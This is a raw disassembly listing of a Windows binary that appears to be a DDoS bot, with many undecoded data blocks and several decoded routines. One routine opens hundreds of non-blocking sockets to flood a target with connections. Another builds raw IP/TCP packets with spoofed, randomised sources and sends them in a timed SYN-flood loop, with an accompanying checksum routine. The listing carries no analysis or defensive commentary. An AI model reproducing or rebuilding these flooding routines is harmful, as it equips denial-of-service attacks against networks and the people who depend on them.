		dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh,	0FF004CBAh
		dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43792C68h
		dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h
		dd 0FF022FC2h, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h
		dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22FC1F0h
dword_413E10	dd 0B8EC8B55h, 10320h, 86E3E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+542Do
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h
		dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h,	8B004CBAh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h
		dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
		dd 2FC133E8h, 0C33B9002h, 408B0C74h, 8B008B0Ch,	0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CB8ECh, 0C0753B46h,	75FFDA7Ch, 8C15FF08h, 8D004CBAh
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h
		dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
		dd 59FFFF77h, 65E85359h, 90022FC0h
dword_413F9C	dd 0B8EC8B55h, 10310h, 8557E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+5679o
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0C5BFE800h
		dd 5090022Ah, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	7068FFFFh
		dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7665E8h, 565959FFh, 0BF86E890h, 408B022Fh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	2FE81175h
		dd 99000082h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	81E1E8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 28C55AE8h
		dd 754E9002h, 0DC7D39CEh, 83E8BC75h, 99000081h,	0FFDCB9h
		dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah,	80F9E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
		dd 575959FFh, 0BE4EE890h
		db 2Fh,	2
word_4141B2	dw 8B55h		; DATA XREF: sub_401ACD+4CC4o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h,	858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h,	5959FFFFh
		dd 0B1E89056h, 5F022FBDh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414251	proc near		; CODE XREF: ___:0041433Ap

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41430F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_41429C:				; CODE XREF: sub_414251+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142A4:				; CODE XREF: sub_414251+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4142C7
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB155Ah
		nop


loc_4142C7:				; CODE XREF: sub_414251+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4142A4
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142D5:				; CODE XREF: sub_414251+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142D5
		push	64h
		call	near ptr 26A068Bh
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142F9:				; CODE XREF: sub_414251+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142F9
		dec	[ebp+arg_4]
		jnz	short loc_41429C
		pop	edi
		pop	esi
		pop	ebx


loc_41430F:				; CODE XREF: sub_414251+3Ej
		xor	eax, eax
		leave
		retn
sub_414251	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414251
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414349
		push	1
		pop	eax


loc_414349:				; CODE XREF: ___:00414344j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414358	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+636Bo
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF72EAh, 0E8565959h, 22FBC0Ch
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F7	proc near		; CODE XREF: ___:004146E5p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_414437
		xor	eax, eax
		jmp	loc_4146A5
; ---------------------------------------------------------------------------


loc_414437:				; CODE XREF: sub_4143F7+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41469D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_414693
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB9D4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB9D4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB9D4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27D0484h
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27D021Bh
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_414522:				; CODE XREF: sub_4143F7+25Dj
					; sub_4143F7+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_34], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414667
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27D021Bh
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414690
		jl	loc_414522
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414690
		jmp	loc_414522
; ---------------------------------------------------------------------------


loc_414667:				; CODE XREF: sub_4143F7+247j
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437AEC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_414693
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: sub_4143F7+25Bj
					; sub_4143F7+269j
		mov	ebx, [ebp+arg_8]


loc_414693:				; CODE XREF: sub_4143F7+78j
					; sub_4143F7+297j
		push	[ebp+var_C]
		call	dword_4CBA6C
		pop	esi


loc_41469D:				; CODE XREF: sub_4143F7+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4146A5:				; CODE XREF: sub_4143F7+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143F7	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146F4
		push	1
		pop	eax


loc_4146F4:				; CODE XREF: ___:004146EFj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_414703	db 55h			; DATA XREF: sub_401ACD+6D3Do
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh
		dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 22FB85Ch, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch
		dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h
		dd 4270B0h, 0F8458959h,	4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
		dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 79A6h,	0E0458966h, 799DE8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h
		dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
		dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_4149C1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5306o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270B0h
		dd 0E850D7FFh, 78ACh, 0FF6859h,	36A0000h, 15FF026Ah, 4CBA54h
		dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch,	0FFFBC085h
		dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
		dd 535959FFh, 0B576E890h, 4D8D022Fh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h
		dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 0D7E8FFFFh, 59FFFF6Bh, 0E8905359h, 22FB4F8h,	0FDC4858Dh
		dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh,	755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
		dd 89E85359h, 90022FB4h, 458D106Ah, 0E85053BCh,	73ECh
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CB9D4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 0C7E82D74h,	8B000076h
		dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h
		dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh
		dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h
		dd 0D415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42AEE8h, 7622E850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h
		dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h
		dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CB9D4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0D415FF06h
		dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 7FCBE8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
		dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 753AE850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 8DE85359h
		dd 90022FB1h, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h,	0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
		dd 90535959h, 2FB0FBE8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_414F31
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414F23:				; CODE XREF: ___:00414F2Bj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414F23
		pop	edi
		cmp	eax, 1


loc_414F31:				; CODE XREF: ___:00414F17j
		jnz	short loc_414F3E
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_414F3E:				; CODE XREF: ___:loc_414F31j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_414F57	db 55h			; DATA XREF: sub_401ACD+6C68o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h
